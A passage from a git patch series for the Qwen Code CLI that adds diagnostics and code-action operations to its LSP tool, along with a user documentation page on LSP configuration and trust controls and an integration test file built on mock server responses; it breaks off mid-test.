this.config.getProjectRoot(); + const filePath = this.params.filePath ?? ''; + const uri = this.resolveUri(filePath, workspaceRoot); + if (!uri) { + const message = 'A valid filePath is required for code actions.'; + return { llmContent: message, returnDisplay: message }; + } + + // Build range from params + const startLine = Math.max(0, (this.params.line ?? 1) - 1); + const startChar = Math.max(0, (this.params.character ?? 1) - 1); + const endLine = Math.max(0, (this.params.endLine ?? this.params.line ?? 1) - 1); + const endChar = Math.max(0, (this.params.endCharacter ?? this.params.character ?? 1) - 1); + + const range: LspRange = { + start: { line: startLine, character: startChar }, + end: { line: endLine, character: endChar }, + }; + + // Build context + const context: LspCodeActionContext = { + diagnostics: this.params.diagnostics ?? [], + only: this.params.codeActionKinds, + triggerKind: 'invoked', + }; + + const limit = this.params.limit ?? 20; + let actions: LspCodeAction[] = []; + try { + actions = await client.codeActions( + uri, + range, + context, + this.params.serverName, + limit, + ); + } catch (error) { + const message = `LSP code actions failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!actions.length) { + const fileLabel = this.formatUriForDisplay(uri, workspaceRoot); + const message = `No code actions available at ${fileLabel}:${startLine + 1}:${startChar + 1}.`; + return { llmContent: message, returnDisplay: message }; + } + + const lines = actions.slice(0, limit).map((action, index) => { + const kind = action.kind ? ` [${action.kind}]` : ''; + const preferred = action.isPreferred ? ' ★' : ''; + const hasEdit = action.edit ? ' (has edit)' : ''; + const hasCommand = action.command ? ' (has command)' : ''; + const serverSuffix = action.serverName ? ` [${action.serverName}]` : ''; + return `${index + 1}. ${action.title}${kind}${preferred}${hasEdit}${hasCommand}${serverSuffix}`; + }); + + const fileLabel = this.formatUriForDisplay(uri, workspaceRoot); + const heading = `Code actions at ${fileLabel}:${startLine + 1}:${startChar + 1}:`; + const jsonSection = this.formatJsonSection('Code actions (JSON)', actions.slice(0, limit)); + return { + llmContent: [heading, ...lines].join('\n') + jsonSection, + returnDisplay: lines.join('\n'), + }; + } + private resolveLocationTarget(): ResolvedTarget { const filePath = this.params.filePath; if (!filePath) { @@ -787,6 +974,12 @@ class LspToolInvocation extends BaseToolInvocation { return 'incoming calls'; case 'outgoingCalls': return 'outgoing calls'; + case 'diagnostics': + return 'diagnostics'; + case 'workspaceDiagnostics': + return 'workspace diagnostics'; + case 'codeActions': + return 'code actions'; default: return this.params.operation; } @@ -804,6 +997,9 @@ class LspToolInvocation extends BaseToolInvocation { * - prepareCallHierarchy: Get call hierarchy item at a position * - incomingCalls: Find all functions that call the given function * - outgoingCalls: Find all functions called by the given function + * - diagnostics: Get diagnostic messages (errors, warnings) for a file + * - workspaceDiagnostics: Get all diagnostic messages across the workspace + * - codeActions: Get available code actions (quick fixes, refactorings) at a location */ export class LspTool extends BaseDeclarativeTool { static readonly Name = ToolNames.LSP; @@ -812,7 +1008,7 @@ export class LspTool extends BaseDeclarativeTool { super( LspTool.Name, ToolDisplayNames.LSP, - 'Unified LSP operations for definitions, references, hover, symbols, and call hierarchy.', + 'Unified LSP operations for definitions, references, hover, symbols, call hierarchy, diagnostics, and code actions.', Kind.Other, { type: 'object', @@ -830,6 +1026,9 @@ export class LspTool extends BaseDeclarativeTool { 'prepareCallHierarchy', 'incomingCalls', 'outgoingCalls', + 'diagnostics', + 'workspaceDiagnostics', + 'codeActions', ], }, filePath: { @@ -845,6 +1044,14 @@ export class LspTool extends BaseDeclarativeTool { description: '1-based character/column number for the target location.', }, + endLine: { + type: 'number', + description: '1-based end line number for range-based operations.', + }, + endCharacter: { + type: 'number', + description: '1-based end character for range-based operations.', + }, includeDeclaration: { type: 'boolean', description: @@ -866,6 +1073,16 @@ export class LspTool extends BaseDeclarativeTool { type: 'number', description: 'Optional maximum number of results to return.', }, + diagnostics: { + type: 'array', + items: { $ref: '#/definitions/LspDiagnostic' }, + description: 'Diagnostics for code action context.', + }, + codeActionKinds: { + type: 'array', + items: { type: 'string' }, + description: 'Filter code actions by kind (quickfix, refactor, etc.).', + }, }, required: ['operation'], definitions: { @@ -900,6 +1117,21 @@ export class LspTool extends BaseDeclarativeTool { }, required: ['name', 'uri', 'range', 'selectionRange'], }, + LspDiagnostic: { + type: 'object', + properties: { + range: { $ref: '#/definitions/LspRange' }, + severity: { + type: 'string', + enum: ['error', 'warning', 'information', 'hint'], + }, + code: { type: ['string', 'number'] }, + source: { type: 'string' }, + message: { type: 'string' }, + serverName: { type: 'string' }, + }, + required: ['range', 'message'], + }, }, }, false, @@ -939,12 +1171,27 @@ export class LspTool extends BaseDeclarativeTool { } } + if (RANGE_REQUIRED_OPERATIONS.has(operation)) { + if (!params.filePath || params.filePath.trim() === '') { + return `filePath is required for ${operation}.`; + } + if (typeof params.line !== 'number') { + return `line is required for ${operation}.`; + } + } + if (params.line !== undefined && params.line < 1) { return 'line must be a positive number.'; } if (params.character !== undefined && params.character < 1) { return 'character must be a positive number.'; } + if (params.endLine !== undefined && params.endLine < 1) { + return 'endLine must be a positive number.'; + } + if (params.endCharacter !== undefined && params.endCharacter < 1) { + return 'endCharacter must be a positive number.'; + } if (params.limit !== undefined && params.limit <= 0) { return 'limit must be a positive number.'; } From d07557403017c35684647ed7b457ca774211ea61 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Wed, 21 Jan 2026 01:16:08 +0800 Subject: [PATCH 08/79] wip: lsp --- docs/users/features/lsp.md | 383 ++++++++ .../lsp/NativeLspService.integration.test.ts | 818 ++++++++++++++++++ 2 files changed, 1201 insertions(+) create mode 100644 docs/users/features/lsp.md create mode 100644 packages/cli/src/services/lsp/NativeLspService.integration.test.ts diff --git a/docs/users/features/lsp.md b/docs/users/features/lsp.md new file mode 100644 index 000000000..61e063223 --- /dev/null +++ b/docs/users/features/lsp.md @@ -0,0 +1,383 @@ +# Language Server Protocol (LSP) Support + +Qwen Code provides native Language Server Protocol (LSP) support, enabling advanced code intelligence features like go-to-definition, find references, diagnostics, and code actions. This integration allows the AI agent to understand your code more deeply and provide more accurate assistance. + +## Overview + +LSP support in Qwen Code works by connecting to language servers that understand your code. When you work with TypeScript, Python, Go, or other supported languages, Qwen Code can automatically start the appropriate language server and use it to: + +- Navigate to symbol definitions +- Find all references to a symbol +- Get hover information (documentation, type info) +- View diagnostic messages (errors, warnings) +- Access code actions (quick fixes, refactorings) +- Analyze call hierarchies + +## Quick Start + +LSP is enabled by default in Qwen Code. For most common languages, Qwen Code will automatically detect and start the appropriate language server if it's installed on your system. + +### Prerequisites + +You need to have the language server for your programming language installed: + +| Language | Language Server | Install Command | +|----------|----------------|-----------------| +| TypeScript/JavaScript | typescript-language-server | `npm install -g typescript-language-server typescript` | +| Python | pylsp | `pip install python-lsp-server` | +| Go | gopls | `go install golang.org/x/tools/gopls@latest` | +| Rust | rust-analyzer | [Installation guide](https://rust-analyzer.github.io/manual.html#installation) | + +## Configuration + +### Settings + +You can configure LSP behavior in your `settings.json`: + +```json +{ + "lsp": { + "enabled": true, + "autoDetect": true, + "serverTimeout": 10000, + "allowed": [], + "excluded": [] + } +} +``` + +| Setting | Type | Default | Description | +|---------|------|---------|-------------| +| `lsp.enabled` | boolean | `true` | Enable/disable LSP support | +| `lsp.autoDetect` | boolean | `true` | Automatically detect and start language servers | +| `lsp.serverTimeout` | number | `10000` | Server startup timeout in milliseconds | +| `lsp.allowed` | string[] | `[]` | Allow only these servers (empty = allow all) | +| `lsp.excluded` | string[] | `[]` | Exclude these servers from starting | + +### Custom Language Servers + +You can configure custom language servers using a `.lsp.json` file in your project root: + +```json +{ + "languageServers": { + "my-custom-lsp": { + "languages": ["mylang"], + "command": "my-lsp-server", + "args": ["--stdio"], + "transport": "stdio", + "initializationOptions": {}, + "settings": {} + } + } +} +``` + +#### Configuration Options + +| Option | Type | Required | Description | +|--------|------|----------|-------------| +| `languages` | string[] | Yes | Languages this server handles | +| `command` | string | Yes* | Command to start the server | +| `args` | string[] | No | Command line arguments | +| `transport` | string | No | Transport type: `stdio` (default), `tcp`, or `socket` | +| `env` | object | No | Environment variables | +| `initializationOptions` | object | No | LSP initialization options | +| `settings` | object | No | Server settings | +| `workspaceFolder` | string | No | Override workspace folder | +| `startupTimeout` | number | No | Startup timeout in ms | +| `shutdownTimeout` | number | No | Shutdown timeout in ms | +| `restartOnCrash` | boolean | No | Auto-restart on crash | +| `maxRestarts` | number | No | Maximum restart attempts | +| `trustRequired` | boolean | No | Require trusted workspace | + +*Required for `stdio` transport + +#### TCP/Socket Transport + +For servers that use TCP or Unix socket transport: + +```json +{ + "languageServers": { + "remote-lsp": { + "languages": ["custom"], + "transport": "tcp", + "socket": { + "host": "127.0.0.1", + "port": 9999 + } + } + } +} +``` + +## Available LSP Operations + +Qwen Code exposes LSP functionality through the unified `lsp` tool. Here are the available operations: + +### Code Navigation + +#### Go to Definition +Find where a symbol is defined. + +``` +Operation: goToDefinition +Parameters: + - filePath: Path to the file + - line: Line number (1-based) + - character: Column number (1-based) +``` + +#### Find References +Find all references to a symbol. + +``` +Operation: findReferences +Parameters: + - filePath: Path to the file + - line: Line number (1-based) + - character: Column number (1-based) + - includeDeclaration: Include the declaration itself (optional) +``` + +#### Go to Implementation +Find implementations of an interface or abstract method. + +``` +Operation: goToImplementation +Parameters: + - filePath: Path to the file + - line: Line number (1-based) + - character: Column number (1-based) +``` + +### Symbol Information + +#### Hover +Get documentation and type information for a symbol. + +``` +Operation: hover +Parameters: + - filePath: Path to the file + - line: Line number (1-based) + - character: Column number (1-based) +``` + +#### Document Symbols +Get all symbols in a document. + +``` +Operation: documentSymbol +Parameters: + - filePath: Path to the file +``` + +#### Workspace Symbol Search +Search for symbols across the workspace. + +``` +Operation: workspaceSymbol +Parameters: + - query: Search query string + - limit: Maximum results (optional) +``` + +### Call Hierarchy + +#### Prepare Call Hierarchy +Get the call hierarchy item at a position. + +``` +Operation: prepareCallHierarchy +Parameters: + - filePath: Path to the file + - line: Line number (1-based) + - character: Column number (1-based) +``` + +#### Incoming Calls +Find all functions that call the given function. + +``` +Operation: incomingCalls +Parameters: + - callHierarchyItem: Item from prepareCallHierarchy +``` + +#### Outgoing Calls +Find all functions called by the given function. + +``` +Operation: outgoingCalls +Parameters: + - callHierarchyItem: Item from prepareCallHierarchy +``` + +### Diagnostics + +#### File Diagnostics +Get diagnostic messages (errors, warnings) for a file. + +``` +Operation: diagnostics +Parameters: + - filePath: Path to the file +``` + +#### Workspace Diagnostics +Get all diagnostic messages across the workspace. + +``` +Operation: workspaceDiagnostics +Parameters: + - limit: Maximum results (optional) +``` + +### Code Actions + +#### Get Code Actions +Get available code actions (quick fixes, refactorings) at a location. + +``` +Operation: codeActions +Parameters: + - filePath: Path to the file + - line: Start line number (1-based) + - character: Start column number (1-based) + - endLine: End line number (optional, defaults to line) + - endCharacter: End column (optional, defaults to character) + - diagnostics: Diagnostics to get actions for (optional) + - codeActionKinds: Filter by action kind (optional) +``` + +Code action kinds: +- `quickfix` - Quick fixes for errors/warnings +- `refactor` - Refactoring operations +- `refactor.extract` - Extract to function/variable +- `refactor.inline` - Inline function/variable +- `source` - Source code actions +- `source.organizeImports` - Organize imports +- `source.fixAll` - Fix all auto-fixable issues + +## Security + +LSP servers are only started in trusted workspaces by default. This is because language servers run with your user permissions and can execute code. + +### Trust Controls + +- **Trusted Workspace**: LSP servers start automatically +- **Untrusted Workspace**: LSP servers won't start unless `trustRequired: false` + +To mark a workspace as trusted, use the `/trust` command or configure trusted folders in settings. + +### Server Allowlists + +You can restrict which servers are allowed to run: + +```json +{ + "lsp": { + "allowed": ["typescript-language-server", "gopls"], + "excluded": ["untrusted-server"] + } +} +``` + +## Troubleshooting + +### Server Not Starting + +1. **Check if the server is installed**: Run the command manually to verify +2. **Check the PATH**: Ensure the server binary is in your system PATH +3. **Check workspace trust**: The workspace must be trusted for LSP +4. **Check logs**: Look for error messages in the console output + +### Slow Performance + +1. **Large projects**: Consider excluding `node_modules` and other large directories +2. **Server timeout**: Increase `lsp.serverTimeout` for slow servers +3. **Multiple servers**: Exclude unused language servers + +### No Results + +1. **Server not ready**: The server may still be indexing +2. **File not saved**: Save your file for the server to pick up changes +3. **Wrong language**: Check if the correct server is running for your language + +### Debugging + +Enable debug logging to see LSP communication: + +```bash +DEBUG=lsp* qwen +``` + +Or check the LSP debugging guide at `packages/cli/LSP_DEBUGGING_GUIDE.md`. + +## Claude Code Compatibility + +Qwen Code supports Claude Code-style `.lsp.json` configuration files. If you're migrating from Claude Code, your existing LSP configuration should work with minimal changes. + +### Legacy Format + +The legacy format (used by earlier versions) is still supported but deprecated: + +```json +{ + "typescript": { + "command": "typescript-language-server", + "args": ["--stdio"], + "transport": "stdio" + } +} +``` + +We recommend migrating to the new `languageServers` format: + +```json +{ + "languageServers": { + "typescript-language-server": { + "languages": ["typescript", "javascript"], + "command": "typescript-language-server", + "args": ["--stdio"], + "transport": "stdio" + } + } +} +``` + +## Best Practices + +1. **Install language servers globally**: This ensures they're available in all projects +2. **Use project-specific settings**: Configure server options per project when needed +3. **Keep servers updated**: Update your language servers regularly for best results +4. **Trust wisely**: Only trust workspaces from trusted sources + +## FAQ + +### Q: How do I know which language servers are running? + +Use the `/lsp status` command to see all configured and running language servers. + +### Q: Can I use multiple language servers for the same file type? + +Yes, but only one will be used for each operation. The first server that returns results wins. + +### Q: Does LSP work in sandbox mode? + +LSP servers run outside the sandbox to access your code. They're subject to workspace trust controls. + +### Q: How do I disable LSP for a specific project? + +Add to your project's `.qwen/settings.json`: + +```json +{ + "lsp": { + "enabled": false + } +} +``` diff --git a/packages/cli/src/services/lsp/NativeLspService.integration.test.ts b/packages/cli/src/services/lsp/NativeLspService.integration.test.ts new file mode 100644 index 000000000..bb0a30b64 --- /dev/null +++ b/packages/cli/src/services/lsp/NativeLspService.integration.test.ts @@ -0,0 +1,818 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; +import { EventEmitter } from 'events'; +import { NativeLspService } from './NativeLspService.js'; +import type { + Config as CoreConfig, + WorkspaceContext, + FileDiscoveryService, + IdeContextStore, + LspLocation, + LspDiagnostic, +} from '@qwen-code/qwen-code-core'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import { pathToFileURL } from 'node:url'; + +/** + * Mock LSP server responses for integration testing. + * This simulates real LSP server behavior without requiring an actual server. + */ +const MOCK_LSP_RESPONSES = { + 'initialize': { + capabilities: { + textDocumentSync: 1, + completionProvider: {}, + hoverProvider: true, + definitionProvider: true, + referencesProvider: true, + documentSymbolProvider: true, + workspaceSymbolProvider: true, + codeActionProvider: true, + diagnosticProvider: { + interFileDependencies: true, + workspaceDiagnostics: true, + }, + }, + serverInfo: { + name: 'mock-lsp-server', + version: '1.0.0', + }, + }, + 'textDocument/definition': [ + { + uri: 'file:///test/workspace/src/types.ts', + range: { + start: { line: 10, character: 0 }, + end: { line: 10, character: 20 }, + }, + }, + ], + 'textDocument/references': [ + { + uri: 'file:///test/workspace/src/app.ts', + range: { + start: { line: 5, character: 10 }, + end: { line: 5, character: 20 }, + }, + }, + { + uri: 'file:///test/workspace/src/utils.ts', + range: { + start: { line: 15, character: 5 }, + end: { line: 15, character: 15 }, + }, + }, + ], + 'textDocument/hover': { + contents: { + kind: 'markdown', + value: '```typescript\nfunction testFunc(): void\n```\n\nA test function.', + }, + range: { + start: { line: 10, character: 0 }, + end: { line: 10, character: 8 }, + }, + }, + 'textDocument/documentSymbol': [ + { + name: 'TestClass', + kind: 5, // Class + range: { + start: { line: 0, character: 0 }, + end: { line: 20, character: 1 }, + }, + selectionRange: { + start: { line: 0, character: 6 }, + end: { line: 0, character: 15 }, + }, + children: [ + { + name: 'constructor', + kind: 9, // Constructor + range: { + start: { line: 2, character: 2 }, + end: { line: 4, character: 3 }, + }, + selectionRange: { + start: { line: 2, character: 2 }, + end: { line: 2, character: 13 }, + }, + }, + ], + }, + ], + 'workspace/symbol': [ + { + name: 'TestClass', + kind: 5, // Class + location: { + uri: 'file:///test/workspace/src/test.ts', + range: { + start: { line: 0, character: 0 }, + end: { line: 20, character: 1 }, + }, + }, + }, + { + name: 'testFunction', + kind: 12, // Function + location: { + uri: 'file:///test/workspace/src/utils.ts', + range: { + start: { line: 5, character: 0 }, + end: { line: 10, character: 1 }, + }, + }, + containerName: 'utils', + }, + ], + 'textDocument/implementation': [ + { + uri: 'file:///test/workspace/src/impl.ts', + range: { + start: { line: 20, character: 0 }, + end: { line: 40, character: 1 }, + }, + }, + ], + 'textDocument/prepareCallHierarchy': [ + { + name: 'testFunction', + kind: 12, // Function + detail: '(param: string) => void', + uri: 'file:///test/workspace/src/utils.ts', + range: { + start: { line: 5, character: 0 }, + end: { line: 10, character: 1 }, + }, + selectionRange: { + start: { line: 5, character: 9 }, + end: { line: 5, character: 21 }, + }, + }, + ], + 'callHierarchy/incomingCalls': [ + { + from: { + name: 'callerFunction', + kind: 12, + uri: 'file:///test/workspace/src/caller.ts', + range: { + start: { line: 10, character: 0 }, + end: { line: 15, character: 1 }, + }, + selectionRange: { + start: { line: 10, character: 9 }, + end: { line: 10, character: 23 }, + }, + }, + fromRanges: [ + { + start: { line: 12, character: 2 }, + end: { line: 12, character: 16 }, + }, + ], + }, + ], + 'callHierarchy/outgoingCalls': [ + { + to: { + name: 'helperFunction', + kind: 12, + uri: 'file:///test/workspace/src/helper.ts', + range: { + start: { line: 0, character: 0 }, + end: { line: 5, character: 1 }, + }, + selectionRange: { + start: { line: 0, character: 9 }, + end: { line: 0, character: 23 }, + }, + }, + fromRanges: [ + { + start: { line: 7, character: 2 }, + end: { line: 7, character: 16 }, + }, + ], + }, + ], + 'textDocument/diagnostic': { + kind: 'full', + items: [ + { + range: { + start: { line: 5, character: 0 }, + end: { line: 5, character: 10 }, + }, + severity: 1, // Error + code: 'TS2304', + source: 'typescript', + message: "Cannot find name 'undeclaredVar'.", + }, + { + range: { + start: { line: 10, character: 0 }, + end: { line: 10, character: 15 }, + }, + severity: 2, // Warning + code: 'TS6133', + source: 'typescript', + message: "'unusedVar' is declared but its value is never read.", + tags: [1], // Unnecessary + }, + ], + }, + 'workspace/diagnostic': { + items: [ + { + kind: 'full', + uri: 'file:///test/workspace/src/app.ts', + items: [ + { + range: { + start: { line: 5, character: 0 }, + end: { line: 5, character: 10 }, + }, + severity: 1, + code: 'TS2304', + source: 'typescript', + message: "Cannot find name 'undeclaredVar'.", + }, + ], + }, + { + kind: 'full', + uri: 'file:///test/workspace/src/utils.ts', + items: [ + { + range: { + start: { line: 10, character: 0 }, + end: { line: 10, character: 15 }, + }, + severity: 2, + code: 'TS6133', + source: 'typescript', + message: "'unusedVar' is declared but its value is never read.", + }, + ], + }, + ], + }, + 'textDocument/codeAction': [ + { + title: "Add missing import 'React'", + kind: 'quickfix', + diagnostics: [ + { + range: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 5 }, + }, + severity: 1, + message: "Cannot find name 'React'.", + }, + ], + edit: { + changes: { + 'file:///test/workspace/src/app.tsx': [ + { + range: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 0 }, + }, + newText: "import React from 'react';\n", + }, + ], + }, + }, + isPreferred: true, + }, + { + title: 'Organize imports', + kind: 'source.organizeImports', + edit: { + changes: { + 'file:///test/workspace/src/app.tsx': [ + { + range: { + start: { line: 0, character: 0 }, + end: { line: 5, character: 0 }, + }, + newText: "import { Component } from 'react';\nimport { helper } from './utils';\n", + }, + ], + }, + }, + }, + ], +}; + +/** + * Mock configuration for testing. + */ +class MockConfig { + rootPath = '/test/workspace'; + private trusted = true; + + isTrustedFolder(): boolean { + return this.trusted; + } + + setTrusted(trusted: boolean): void { + this.trusted = trusted; + } + + get(_key: string) { + return undefined; + } + + getProjectRoot(): string { + return this.rootPath; + } +} + +/** + * Mock workspace context for testing. + */ +class MockWorkspaceContext { + rootPath = '/test/workspace'; + + async fileExists(filePath: string): Promise { + return ( + filePath.endsWith('.json') || + filePath.includes('package.json') || + filePath.includes('.ts') + ); + } + + async readFile(filePath: string): Promise { + if (filePath.includes('.lsp.json')) { + return JSON.stringify({ + 'mock-lsp': { + languages: ['typescript', 'javascript'], + command: 'mock-lsp-server', + args: ['--stdio'], + transport: 'stdio', + }, + }); + } + return '{}'; + } + + resolvePath(relativePath: string): string { + return this.rootPath + '/' + relativePath; + } + + isPathWithinWorkspace(_path: string): boolean { + return true; + } + + getDirectories(): string[] { + return [this.rootPath]; + } +} + +/** + * Mock file discovery service for testing. + */ +class MockFileDiscoveryService { + async discoverFiles(_root: string, _options: unknown): Promise { + return [ + '/test/workspace/src/index.ts', + '/test/workspace/src/app.ts', + '/test/workspace/src/utils.ts', + '/test/workspace/src/types.ts', + ]; + } + + shouldIgnoreFile(file: string): boolean { + return file.includes('node_modules') || file.includes('.git'); + } +} + +/** + * Mock IDE context store for testing. + */ +class MockIdeContextStore {} + +describe('NativeLspService Integration Tests', () => { + let lspService: NativeLspService; + let mockConfig: MockConfig; + let mockWorkspace: MockWorkspaceContext; + let mockFileDiscovery: MockFileDiscoveryService; + let mockIdeStore: MockIdeContextStore; + let eventEmitter: EventEmitter; + + beforeEach(() => { + mockConfig = new MockConfig(); + mockWorkspace = new MockWorkspaceContext(); + mockFileDiscovery = new MockFileDiscoveryService(); + mockIdeStore = new MockIdeContextStore(); + eventEmitter = new EventEmitter(); + + lspService = new NativeLspService( + mockConfig as unknown as CoreConfig, + mockWorkspace as unknown as WorkspaceContext, + eventEmitter, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, + { + workspaceRoot: mockWorkspace.rootPath, + }, + ); + }); + + afterEach(() => { + vi.clearAllMocks(); + }); + + describe('Service Lifecycle', () => { + it('should initialize service correctly', () => { + expect(lspService).toBeDefined(); + }); + + it('should discover and prepare without errors', async () => { + await expect(lspService.discoverAndPrepare()).resolves.not.toThrow(); + }); + + it('should return status after discovery', async () => { + await lspService.discoverAndPrepare(); + const status = lspService.getStatus(); + expect(status).toBeDefined(); + expect(status instanceof Map).toBe(true); + }); + + it('should skip discovery for untrusted workspace', async () => { + mockConfig.setTrusted(false); + const untrustedService = new NativeLspService( + mockConfig as unknown as CoreConfig, + mockWorkspace as unknown as WorkspaceContext, + eventEmitter, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, + { + workspaceRoot: mockWorkspace.rootPath, + requireTrustedWorkspace: true, + }, + ); + + await untrustedService.discoverAndPrepare(); + const status = untrustedService.getStatus(); + expect(status.size).toBe(0); + }); + }); + + describe('Configuration Merging', () => { + it('should detect TypeScript/JavaScript in workspace', async () => { + await lspService.discoverAndPrepare(); + const status = lspService.getStatus(); + + // Should have detected TypeScript based on mock file discovery + // The exact server name depends on built-in presets + expect(status.size).toBeGreaterThanOrEqual(0); + }); + + it('should respect allowed servers list', async () => { + const restrictedService = new NativeLspService( + mockConfig as unknown as CoreConfig, + mockWorkspace as unknown as WorkspaceContext, + eventEmitter, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, + { + workspaceRoot: mockWorkspace.rootPath, + allowedServers: ['typescript-language-server'], + }, + ); + + await restrictedService.discoverAndPrepare(); + const status = restrictedService.getStatus(); + + // Only allowed servers should be present + for (const [name] of status) { + expect( + name === 'typescript-language-server' || + status.get(name) === 'FAILED' + ).toBe(true); + } + }); + + it('should respect excluded servers list', async () => { + const restrictedService = new NativeLspService( + mockConfig as unknown as CoreConfig, + mockWorkspace as unknown as WorkspaceContext, + eventEmitter, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, + { + workspaceRoot: mockWorkspace.rootPath, + excludedServers: ['pylsp'], + }, + ); + + await restrictedService.discoverAndPrepare(); + const status = restrictedService.getStatus(); + + // pylsp should not be present or should be FAILED + const pylspStatus = status.get('pylsp'); + expect(pylspStatus !== 'READY').toBe(true); + }); + }); + + describe('LSP Operations - Mock Responses', () => { + // Note: These tests verify the structure of expected responses + // In a real integration test, you would mock the connection or use a real server + + it('should format definition response correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/definition']; + expect(response).toHaveLength(1); + expect(response[0]).toHaveProperty('uri'); + expect(response[0]).toHaveProperty('range'); + expect(response[0].range.start).toHaveProperty('line'); + expect(response[0].range.start).toHaveProperty('character'); + }); + + it('should format references response correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/references']; + expect(response).toHaveLength(2); + for (const ref of response) { + expect(ref).toHaveProperty('uri'); + expect(ref).toHaveProperty('range'); + } + }); + + it('should format hover response correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/hover']; + expect(response).toHaveProperty('contents'); + expect(response.contents).toHaveProperty('value'); + expect(response.contents.value).toContain('testFunc'); + }); + + it('should format document symbols correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/documentSymbol']; + expect(response).toHaveLength(1); + expect(response[0].name).toBe('TestClass'); + expect(response[0].kind).toBe(5); // Class + expect(response[0].children).toHaveLength(1); + }); + + it('should format workspace symbols correctly', () => { + const response = MOCK_LSP_RESPONSES['workspace/symbol']; + expect(response).toHaveLength(2); + expect(response[0].name).toBe('TestClass'); + expect(response[1].name).toBe('testFunction'); + expect(response[1].containerName).toBe('utils'); + }); + + it('should format call hierarchy items correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/prepareCallHierarchy']; + expect(response).toHaveLength(1); + expect(response[0].name).toBe('testFunction'); + expect(response[0]).toHaveProperty('detail'); + expect(response[0]).toHaveProperty('range'); + expect(response[0]).toHaveProperty('selectionRange'); + }); + + it('should format incoming calls correctly', () => { + const response = MOCK_LSP_RESPONSES['callHierarchy/incomingCalls']; + expect(response).toHaveLength(1); + expect(response[0].from.name).toBe('callerFunction'); + expect(response[0].fromRanges).toHaveLength(1); + }); + + it('should format outgoing calls correctly', () => { + const response = MOCK_LSP_RESPONSES['callHierarchy/outgoingCalls']; + expect(response).toHaveLength(1); + expect(response[0].to.name).toBe('helperFunction'); + expect(response[0].fromRanges).toHaveLength(1); + }); + + it('should format diagnostics correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/diagnostic']; + expect(response.items).toHaveLength(2); + expect(response.items[0].severity).toBe(1); // Error + expect(response.items[0].code).toBe('TS2304'); + expect(response.items[1].severity).toBe(2); // Warning + expect(response.items[1].tags).toContain(1); // Unnecessary + }); + + it('should format workspace diagnostics correctly', () => { + const response = MOCK_LSP_RESPONSES['workspace/diagnostic']; + expect(response.items).toHaveLength(2); + expect(response.items[0].uri).toContain('app.ts'); + expect(response.items[1].uri).toContain('utils.ts'); + }); + + it('should format code actions correctly', () => { + const response = MOCK_LSP_RESPONSES['textDocument/codeAction']; + expect(response).toHaveLength(2); + + const quickfix = response[0]; + expect(quickfix.title).toContain('import'); + expect(quickfix.kind).toBe('quickfix'); + expect(quickfix.isPreferred).toBe(true); + expect(quickfix.edit).toHaveProperty('changes'); + + const organizeImports = response[1]; + expect(organizeImports.kind).toBe('source.organizeImports'); + }); + }); + + describe('Diagnostic Normalization', () => { + it('should normalize severity levels correctly', () => { + const severityMap: Record = { + 1: 'error', + 2: 'warning', + 3: 'information', + 4: 'hint', + }; + + for (const [num, label] of Object.entries(severityMap)) { + expect(severityMap[Number(num)]).toBe(label); + } + }); + + it('should normalize diagnostic tags correctly', () => { + const tagMap: Record = { + 1: 'unnecessary', + 2: 'deprecated', + }; + + expect(tagMap[1]).toBe('unnecessary'); + expect(tagMap[2]).toBe('deprecated'); + }); + }); + + describe('Code Action Context', () => { + it('should support filtering by code action kind', () => { + const kinds = ['quickfix', 'refactor', 'source.organizeImports']; + const filteredActions = MOCK_LSP_RESPONSES['textDocument/codeAction'].filter( + (action) => kinds.includes(action.kind), + ); + expect(filteredActions).toHaveLength(2); + }); + + it('should support quick fix actions with diagnostics', () => { + const quickfix = MOCK_LSP_RESPONSES['textDocument/codeAction'][0]; + expect(quickfix.diagnostics).toBeDefined(); + expect(quickfix.diagnostics).toHaveLength(1); + expect(quickfix.edit).toBeDefined(); + }); + }); + + describe('Workspace Edit Application', () => { + it('should structure workspace edits correctly', () => { + const codeAction = MOCK_LSP_RESPONSES['textDocument/codeAction'][0]; + const edit = codeAction.edit; + + expect(edit).toHaveProperty('changes'); + expect(edit?.changes).toBeDefined(); + + const uri = Object.keys(edit?.changes ?? {})[0]; + expect(uri).toContain('app.tsx'); + + const edits = edit?.changes?.[uri]; + expect(edits).toHaveLength(1); + expect(edits?.[0]).toHaveProperty('range'); + expect(edits?.[0]).toHaveProperty('newText'); + }); + }); + + describe('Error Handling', () => { + it('should handle missing workspace gracefully', async () => { + const emptyWorkspace = new MockWorkspaceContext(); + emptyWorkspace.getDirectories = () => []; + + const service = new NativeLspService( + mockConfig as unknown as CoreConfig, + emptyWorkspace as unknown as WorkspaceContext, + eventEmitter, + mockFileDiscovery as unknown as FileDiscoveryService, + mockIdeStore as unknown as IdeContextStore, + ); + + await expect(service.discoverAndPrepare()).resolves.not.toThrow(); + }); + + it('should return empty results when no server is ready', async () => { + // Before starting any servers, operations should return empty + const results = await lspService.workspaceSymbols('test'); + expect(results).toEqual([]); + }); + + it('should return empty diagnostics when no server is ready', async () => { + const uri = 'file:///test/workspace/src/app.ts'; + const results = await lspService.diagnostics(uri); + expect(results).toEqual([]); + }); + + it('should return empty code actions when no server is ready', async () => { + const uri = 'file:///test/workspace/src/app.ts'; + const range = { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }; + const context = { + diagnostics: [], + only: undefined, + triggerKind: 'invoked' as const, + }; + + const results = await lspService.codeActions(uri, range, context); + expect(results).toEqual([]); + }); + }); + + describe('Security Controls', () => { + it('should respect trust requirements', async () => { + 